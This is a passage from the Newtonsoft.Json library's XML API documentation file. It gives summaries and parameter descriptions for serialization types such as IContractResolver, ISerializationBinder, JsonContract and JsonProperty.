cref=\"T:Newtonsoft.Json.Serialization.ExpressionValueProvider\"/> class.\n            </summary>\n            <param name=\"memberInfo\">The member info.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ExpressionValueProvider.SetValue(System.Object,System.Object)\">\n            <summary>\n            Sets the value.\n            </summary>\n            <param name=\"target\">The target to set the value on.</param>\n            <param name=\"value\">The value to set on the target.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ExpressionValueProvider.GetValue(System.Object)\">\n            <summary>\n            Gets the value.\n            </summary>\n            <param name=\"target\">The target to get the value from.</param>\n            <returns>The value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IAttributeProvider\">\n            <summary>\n            Provides methods to get attributes.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IAttributeProvider.GetAttributes(System.Boolean)\">\n            <summary>\n            Returns a collection of all of the attributes, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IAttributeProvider.GetAttributes(System.Type,System.Boolean)\">\n            <summary>\n            Returns a collection of attributes, identified by type, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"attributeType\">The type of the attributes.</param>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IContractResolver\">\n            <summary>\n            Used by <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to resolve a <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/> for a given <see cref=\"T:System.Type\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeContractResolverObject\" title=\"IContractResolver Class\" />\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeContractResolverExample\" title=\"IContractResolver Example\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IContractResolver.ResolveContract(System.Type)\">\n            <summary>\n            Resolves the contract for a given type.\n            </summary>\n            <param name=\"type\">The type to resolve a contract for.</param>\n            <returns>The contract for a given type.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\">\n            <summary>\n            Used to resolve references when serializing and deserializing JSON by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.ResolveReference(System.Object,System.String)\">\n            <summary>\n            Resolves a reference to its object.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"reference\">The reference to resolve.</param>\n            <returns>The object that was resolved from the reference.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.GetReference(System.Object,System.Object)\">\n            <summary>\n            Gets the reference for the specified object.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"value\">The object to get a reference for.</param>\n            <returns>The reference to the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.IsReferenced(System.Object,System.Object)\">\n            <summary>\n            Determines whether the specified object is referenced.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"value\">The object to test for a reference.</param>\n            <returns>\n            \t<c>true</c> if the specified object is referenced; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.AddReference(System.Object,System.String,System.Object)\">\n            <summary>\n            Adds a reference to the specified object.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"reference\">The reference.</param>\n            <param name=\"value\">The object to reference.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ISerializationBinder\">\n            <summary>\n            Allows users to control class loading and mandate what class to load.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ISerializationBinder.BindToType(System.String,System.String)\">\n            <summary>\n            When implemented, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object</param>\n            <returns>The type of the object the formatter creates a new instance of.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ISerializationBinder.BindToName(System.Type,System.String@,System.String@)\">\n            <summary>\n            When implemented, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"serializedType\">The type of the object the formatter creates a new instance of.</param>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ITraceWriter\">\n            <summary>\n            Represents a trace writer.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ITraceWriter.LevelFilter\">\n            <summary>\n            Gets the <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            For example a filter level of <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/> will exclude <see cref=\"F:System.Diagnostics.TraceLevel.Verbose\"/> messages and include <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/>,\n            <see cref=\"F:System.Diagnostics.TraceLevel.Warning\"/> and <see cref=\"F:System.Diagnostics.TraceLevel.Error\"/> messages.\n            </summary>\n            <value>The <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ITraceWriter.Trace(System.Diagnostics.TraceLevel,System.String,System.Exception)\">\n            <summary>\n            Writes the specified trace level, message and optional exception.\n            </summary>\n            <param name=\"level\">The <see cref=\"T:System.Diagnostics.TraceLevel\"/> at which to write this trace.</param>\n            <param name=\"message\">The trace message.</param>\n            <param name=\"ex\">The trace exception. This parameter is optional.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IValueProvider\">\n            <summary>\n            Provides methods to get and set values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IValueProvider.SetValue(System.Object,System.Object)\">\n            <summary>\n            Sets the value.\n            </summary>\n            <param name=\"target\">The target to set the value on.</param>\n            <param name=\"value\">The value to set on the target.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IValueProvider.GetValue(System.Object)\">\n            <summary>\n            Gets the value.\n            </summary>\n            <param name=\"target\">The target to get the value from.</param>\n            <returns>The value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.CollectionItemType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the collection items.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the collection items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.IsMultidimensionalArray\">\n            <summary>\n            Gets a value indicating whether the collection type is a multidimensional array.\n            </summary>\n            <value><c>true</c> if the collection type is a multidimensional array; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.OverrideCreator\">\n            <summary>\n            Gets or sets the function used to create the object. When set this function will override <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\"/>.\n            </summary>\n            <value>The function used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.HasParameterizedCreator\">\n            <summary>\n            Gets a value indicating whether the creator has a parameter with the collection values.\n            </summary>\n            <value><c>true</c> if the creator has a parameter with the collection values; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonArrayContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonContainerContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemConverter\">\n            <summary>\n            Gets or sets the default collection items <see cref=\"T:Newtonsoft.Json.JsonConverter\" />.\n            </summary>\n            <value>The converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemIsReference\">\n            <summary>\n            Gets or sets a value indicating whether the collection items preserve object references.\n            </summary>\n            <value><c>true</c> if collection items preserve object references; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the collection item reference loop handling.\n            </summary>\n            <value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the collection item type name handling.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonContainerContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonContainerContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.SerializationCallback\">\n            <summary>\n            Handles <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> serialization callback events.\n            </summary>\n            <param name=\"o\">The object that raised the callback event.</param>\n            <param name=\"context\">The streaming context.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.SerializationErrorCallback\">\n            <summary>\n            Handles <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> serialization error callback events.\n            </summary>\n            <param name=\"o\">The object that raised the callback event.</param>\n            <param name=\"context\">The streaming context.</param>\n            <param name=\"errorContext\">The error context.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ExtensionDataSetter\">\n            <summary>\n            Sets extension data for an object during deserialization.\n            </summary>\n            <param name=\"o\">The object to set extension data on.</param>\n            <param name=\"key\">The extension data key.</param>\n            <param name=\"value\">The extension data value.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ExtensionDataGetter\">\n            <summary>\n            Gets extension data for an object during serialization.\n            </summary>\n            <param name=\"o\">The object to set extension data on.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.UnderlyingType\">\n            <summary>\n            Gets the underlying type for the contract.\n            </summary>\n            <value>The underlying type for the contract.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.CreatedType\">\n            <summary>\n            Gets or sets the type created during deserialization.\n            </summary>\n            <value>The type created during deserialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.IsReference\">\n            <summary>\n            Gets or sets whether this type contract is serialized as a reference.\n            </summary>\n            <value>Whether this type contract is serialized as a reference.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.Converter\">\n            <summary>\n            Gets or sets the default <see cref=\"T:Newtonsoft.Json.JsonConverter\" /> for this contract.\n            </summary>\n            <value>The converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.InternalConverter\">\n            <summary>\n            Gets the internally resolved <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> for the contract's type.\n            This converter is used as a fallback converter when no other converter is resolved.\n            Setting <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.Converter\"/> will always override this converter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnDeserializedCallbacks\">\n            <summary>\n            Gets or sets all methods called immediately after deserialization of the object.\n            </summary>\n            <value>The methods called immediately after deserialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnDeserializingCallbacks\">\n            <summary>\n            Gets or sets all methods called during deserialization of the object.\n            </summary>\n            <value>The methods called during deserialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnSerializedCallbacks\">\n            <summary>\n            Gets or sets all methods called after serialization of the object graph.\n            </summary>\n            <value>The methods called after serialization of the object graph.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnSerializingCallbacks\">\n            <summary>\n            Gets or sets all methods called before serialization of the object.\n            </summary>\n            <value>The methods called before serialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnErrorCallbacks\">\n            <summary>\n            Gets or sets all method called when an error is thrown during the serialization of the object.\n            </summary>\n            <value>The methods called when an error is thrown during the serialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\">\n            <summary>\n            Gets or sets the default creator method used to create the object.\n            </summary>\n            <value>The default creator method used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreatorNonPublic\">\n            <summary>\n            Gets or sets a value indicating whether the default creator is non-public.\n            </summary>\n            <value><c>true</c> if the default object creator is non-public; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.DictionaryKeyResolver\">\n            <summary>\n            Gets or sets the dictionary key resolver.\n            </summary>\n            <value>The dictionary key resolver.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.DictionaryKeyType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the dictionary keys.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the dictionary keys.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.DictionaryValueType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the dictionary values.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the dictionary values.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.OverrideCreator\">\n            <summary>\n            Gets or sets the function used to create the object. When set this function will override <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\"/>.\n            </summary>\n            <value>The function used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.HasParameterizedCreator\">\n            <summary>\n            Gets a value indicating whether the creator has a parameter with the dictionary values.\n            </summary>\n            <value><c>true</c> if the creator has a parameter with the dictionary values; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonDictionaryContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonDynamicContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDynamicContract.Properties\">\n            <summary>\n            Gets the object's properties.\n            </summary>\n            <value>The object's properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDynamicContract.PropertyNameResolver\">\n            <summary>\n            Gets or sets the property name resolver.\n            </summary>\n            <value>The property name resolver.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonDynamicContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonDynamicContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonISerializableContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonISerializableContract.ISerializableCreator\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Runtime.Serialization.ISerializable\"/> object constructor.\n            </summary>\n            <value>The <see cref=\"T:System.Runtime.Serialization.ISerializable\"/> object constructor.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonISerializableContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonISerializableContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonLinqContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.MemberSerialization\">\n            <summary>\n            Gets or sets the object member serialization.\n            </summary>\n            <value>The member object serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.MissingMemberHandling\">\n            <summary>\n            Gets or sets the missing member handling used when deserializing this object.\n            </summary>\n            <value>The missing member handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ItemRequired\">\n            <summary>\n            Gets or sets a value that indicates whether the object's properties are required.\n            </summary>\n            <value>\n            \tA value indicating whether the object's properties are required.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ItemNullValueHandling\">\n            <summary>\n            Gets or sets how the object's properties with null values are handled during serialization and deserialization.\n            </summary>\n            <value>How the object's properties with null values are handled during serialization and deserialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.Properties\">\n            <summary>\n            Gets the object's properties.\n            </summary>\n            <value>The object's properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.CreatorParameters\">\n            <summary>\n            Gets a collection of <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> instances that define the parameters used with <see cref=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.OverrideCreator\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.OverrideCreator\">\n            <summary>\n            Gets or sets the function used to create the object. When set this function will override <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\"/>.\n            This function is called with a collection of arguments which are defined by the <see cref=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.CreatorParameters\"/> collection.\n            </summary>\n            <value>The function used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataSetter\">\n            <summary>\n            Gets or sets the extension data setter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataGetter\">\n            <summary>\n            Gets or sets the extension data getter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataValueType\">\n            <summary>\n            Gets or sets the extension data value type.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataNameResolver\">\n            <summary>\n            Gets or sets the extension data name resolver.\n            </summary>\n            <value>The extension data name resolver.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonObjectContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPrimitiveContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonProperty\">\n            <summary>\n            Maps a JSON property to a .NET member or constructor parameter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.PropertyName\">\n            <summary>\n            Gets or sets the name of the property.\n            </summary>\n            <value>The name of the property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.DeclaringType\">\n            <summary>\n            Gets or sets the type that declared this property.\n            </summary>\n            <value>The type that declared this property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Order\">\n            <summary>\n            Gets or sets the order of serialization of a member.\n            </summary>\n            <value>The numeric order of serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.UnderlyingName\">\n            <summary>\n            Gets or sets the name of the underlying member or parameter.\n            </summary>\n            <value>The name of the underlying member or parameter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ValueProvider\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> that will get and set the <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> during serialization.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> that will get and set the <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> during serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.AttributeProvider\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.IAttributeProvider\"/> for this property.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Serialization.IAttributeProvider\"/> for this property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.PropertyType\">\n            <summary>\n            Gets or sets the type of the property.\n            </summary>\n            <value>The type of the property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Converter\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.JsonConverter\" /> for the property.\n            If set this converter takes precedence over the contract converter for the property type.\n            </summary>\n            <value>The converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.MemberConverter\">\n            <summary>\n            Gets or sets the member converter.\n            </summary>\n            <value>The member converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Ignored\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is ignored.\n            </summary>\n            <value><c>true</c> if ignored; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Readable\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is readable.\n            </summary>\n            <value><c>true</c> if readable; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Writable\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is writable.\n            </summary>\n            <value><c>true</c> if writable; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.HasMemberAttribute\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> has a member attribute.\n            </summary>\n            <value><c>true</c> if has a member attribute; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.DefaultValue\">\n            <summary>\n            Gets the default value.\n            </summary>\n            <value>The default value.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Required\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is required.\n            </summary>\n            <value>A value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is required.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.IsRequiredSpecified\">\n            <summary>\n            Gets a value indicating whether <see cref=\"P:Newtonsoft.Json.Serialization.JsonProperty.Required\"/> has a value specified.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.IsReference\">\n            <summary>\n            Gets or sets a value indicating whether this property preserves object references.\n            </summary>\n            <value>\n            \t<c>true</c> if this instance is reference; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.NullValueHandling\">\n            <summary>\n            Gets or sets the property null value handling.\n            </summary>\n            <value>The null value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.DefaultValueHandling\">\n            <summary>\n            Gets or sets the property default value handling.\n            </summary>\n            <value>The default value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets the property reference loop handling.\n            </summary>\n            <value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ObjectCreationHandling\">\n            <summary>\n            Gets or sets the property object creation handling.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.TypeNameHandling\">\n            <summary>\n            Gets or sets or sets the type name handling.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ShouldSerialize\">\n            <summary>\n            Gets or sets a predicate used to determine whether the property should be serialized.\n            </summary>\n            <value>A predicate used to determine whether the property should be serialized.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ShouldDeserialize\">\n            <summary>\n            Gets or sets a predicate used to determine whether the property should be deserialized.\n            </summary>\n            <value>A predicate used to determine whether the property should be deserialized.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.GetIsSpecified\">\n            <summary>\n            Gets or sets a predicate used to determine whether the property should be serialized.\n            </summary>\n            <value>A predicate used to determine whether the property should be serialized.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.SetIsSpecified\">\n            <summary>\n            Gets or sets an action used to set whether the property has been deserialized.\n            </summary>\n            <value>An action used to set whether the property has been deserialized.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonProperty.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemConverter\">\n            <summary>\n            Gets or sets the converter used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemIsReference\">\n            <summary>\n            Gets or sets whether this property's collection items are serialized as a reference.\n            </summary>\n            <value>Whether this property's collection items are serialized as a reference.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items reference loop handling.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonPropertyCollection\">\n            <summary>\n            A 